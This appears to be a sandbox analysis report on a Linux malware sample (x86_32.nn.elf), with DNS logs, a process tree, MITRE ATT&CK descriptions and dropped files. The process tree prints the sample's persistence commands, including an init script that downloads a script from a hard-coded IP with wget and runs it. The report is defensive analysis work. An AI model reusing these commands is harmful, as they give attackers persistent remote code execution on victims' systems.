Dec 24, 2024 05:27:51.294199944 CET	53	49471	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 05:27:51.073003054 CET	192.168.2.13	1.1.1.1	0x5663	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 05:27:51.073050976 CET	192.168.2.13	1.1.1.1	0x25b2	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 05:27:51.290028095 CET	1.1.1.1	192.168.2.13	0x5663	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Dec 24, 2024 05:27:51.290028095 CET	1.1.1.1	192.168.2.13	0x5663	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: x86_32.nn.elf PID: 5432, Parent PID: 5344

General

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	/tmp/x86_32.nn.elf
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/system
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/system /etc/rcS.d/S99system
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/sh
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/sh /etc/rc.d/S99sh
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	7a8c8bd1879880b4910dc8511392a718

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	04:27:48
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Start time (UTC):	04:27:49
Start date (UTC):	24/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86_32.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/sh

/etc/init.d/system

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: x86_32.nn.elf PID: 5432, Parent PID: 5344

General

Chronological Activities

Analysis Process: x86_32.nn.elf PID: 5449, Parent PID: 5432

General

Chronological Activities

Linux Analysis Report
x86_32.nn.elf